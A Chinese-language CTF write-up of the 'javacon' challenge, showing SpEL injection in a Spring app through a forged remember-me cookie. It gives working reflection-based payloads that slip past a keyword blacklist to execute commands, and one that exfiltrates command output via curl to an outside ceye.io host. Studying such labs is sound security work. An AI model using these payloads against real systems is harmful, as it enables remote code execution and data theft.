JAVACON 题目
此题 来自P神 的code-breaking中的一道Java题,名为javacon,题目知识点为SpEL注入
题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
运行环境
java -jar challenge-0.0.1-SNAPSHOT.jar
涉及知识
- SpEL 注入
- Java 反射机制
- Linux 反弹 shell
访问 页面,是一个登录界面,请求参数中带有 jsessionid 。
随便输入 admin 123 会提示 "登录失败 ..."
我们把 JAR 在 idea 里打开 ,目录结构大致如下
spring 框架, 先看 下面的 application.yml 配置文件
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1
此文件 分了三个模块 spring 定义了 HTML模板 UTF-8源码以及无缓存 ,keywords 定义了黑名单 ,过滤了 “java.lang”、“Runtime”、“exec.(”等 ; user 定义了 admin admin账号密码,还有一个 remembermeKey 的 value。
Spring 框架 关键点在于 Controller 也就是控制器,看到 MainController.class ,其中定义了ExpressionParser , 该属性在 getAdvanceValue() 函数中会调用来解析字符串内容,由此可知 getAdvanceValue() 是SpEL 注入的触发点:
@Controller
public class MainController {
ExpressionParser parser = new SpelExpressionParser();
...
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}
再看看是哪里调用了 getAdvanceValue() 函数,可以发现是在admin()函数中调用了,传递的参数是username 的值:
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
这里需要研究一下 如何这个username的值,先看注解为 /login 的login() 函数,其传入3个参数,第三个 remember-me 是非必须的,在第一个if 语句中 他会判断 username 和password 的值是否匹配,如果匹配 则会 通过 session.setAttribute("username") 来设置username ,但是再这之前会判断username的 所以无法在username 中写入我们的payload 。也就是说这里无法进行SpEL 注入。
再来看看主页面的代码逻辑即注解为“@GetMapping”的admin()函数。先判断remember-me是否为空,为空时直接调用session.getAttribute("username");
获取session中即login()函数中设置的username再调用getAdvanceValue()函数,此时因为username是正确的用户名因此无法SpEL注入;若rememberMeValue不为空即login时选择了remember-me,则解码rememberMeValue值为username并通过调用session.setAttribute("username")
来设置session中的username值,此时的username就可控了。
那么注入点的场景已经可以确定了:输入admin/admin并勾选remember-me选项登录后台,然后再修改cookie内容即可。
先登录到admin界面,看到会设置Cookie字段值为remember-me=MXPUSANQRVaBJYtUucUgmQ==
:
应该是一段base64 或者其他的加密 直接调用或复制加密代码 ,在他的代码中找到几个参数然后传入加密处理,执行完毕后和Cookie 字段值base64结果是一致的:
利用下mi1k7ea 师傅的图 将变量value从admin改为Mi1k7ea 得到加密值为4Hd10g7CuZZg5M1up1GExg==,放到cookie中发送报文,可以看到admin修改为Mi1k7ea,说明这里即为SpEL注入点:
构造payload
刚刚配置文件中的黑名单过滤了 java.lang
、Runtime
和exec( ,没有思路 参考wp
Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)
可以使用JAVA的反射机制来进行绕过,原理是因为通过反射机制的 forName() 和 getMethod() 登方法, 其参数是字符串因此可通过字符串拼接的方式来进行绕过黑名单。
Windows环境
本地弹计算器
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});
但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
注意,以new String[]{"cmd","/C","xx"}
这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}
。
payload如下:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}
加密后发送过去,SpEL注入成功:
回带flag
这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})}
参考
Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)
code-breaking全部题解及知识拓展 - 先知社区 (aliyun.com)